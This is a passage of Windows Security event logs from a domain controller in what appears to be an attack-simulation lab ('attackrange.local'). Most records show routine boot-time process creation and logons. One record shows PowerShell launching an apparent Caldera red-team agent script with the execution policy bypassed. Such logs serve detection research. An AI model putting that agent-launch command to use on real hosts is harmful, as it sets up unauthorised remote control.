0x82c - New Process Name: C:\Windows\System32\RemoteFXvGPUDisablement.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\RemoteFXvGPUDisablement.exe Disable - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253643 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7bc - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x5d8 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_manx_agent.ps1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5033 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Other System Events -OpCode=Info -RecordNumber=253642 -Keywords=Audit Success -Message=The Windows Firewall Driver started successfully. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253641 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - New Process ID: 0x668 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253640 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5d8 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k netsvcs - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253639 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253638 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253637 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - New Process ID: 0x5ac - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253636 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x534 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k NetworkService - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253635 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4bc - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253634 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253633 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253632 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xC264 - -Process Information: - New Process ID: 0x4a0 - New Process Name: C:\Windows\System32\dwm.exe - Token Elevation Type: %%1938 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x31c - Creator Process Name: C:\Windows\System32\winlogon.exe - Process Command Line: "dwm.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253631 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - New Process ID: 0x494 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253630 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Process Information: - New Process ID: 0x48c - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k LocalService - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253629 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xC212 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253628 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xC264 - Linked Logon ID: 0xC212 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x31c - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253627 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 2 - Restricted Admin Mode: - - Virtual Account: Yes - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: Window Manager\DWM-1 - Account Name: DWM-1 - Account Domain: Window Manager - Logon ID: 0xC212 - Linked Logon ID: 0xC264 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x31c - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253626 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: DWM-1 - Account Domain: Window Manager - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x31c - Process Name: C:\Windows\System32\winlogon.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253625 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Process Information: - New Process ID: 0x46c - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x350 - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\svchost.exe -k termsvcs - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253624 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - -Privileges: SeAssignPrimaryTokenPrivilege - SeAuditPrivilege - SeImpersonatePrivilege -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253623 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\LOCAL SERVICE - Account Name: LOCAL SERVICE - Account Domain: NT AUTHORITY - Logon ID: 0x3E5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x350 - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:51:28 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253622 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x43c - New Process Name: C:\Windows\System32\LogonUI.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x31c - Creator Process Name: C:\Windows\System32\winlogon.exe - Process Command Line: "LogonUI.exe" /flags:0x2 /state0:0xa3bca055 /state1:0x41c64e6d - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:51:31 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information 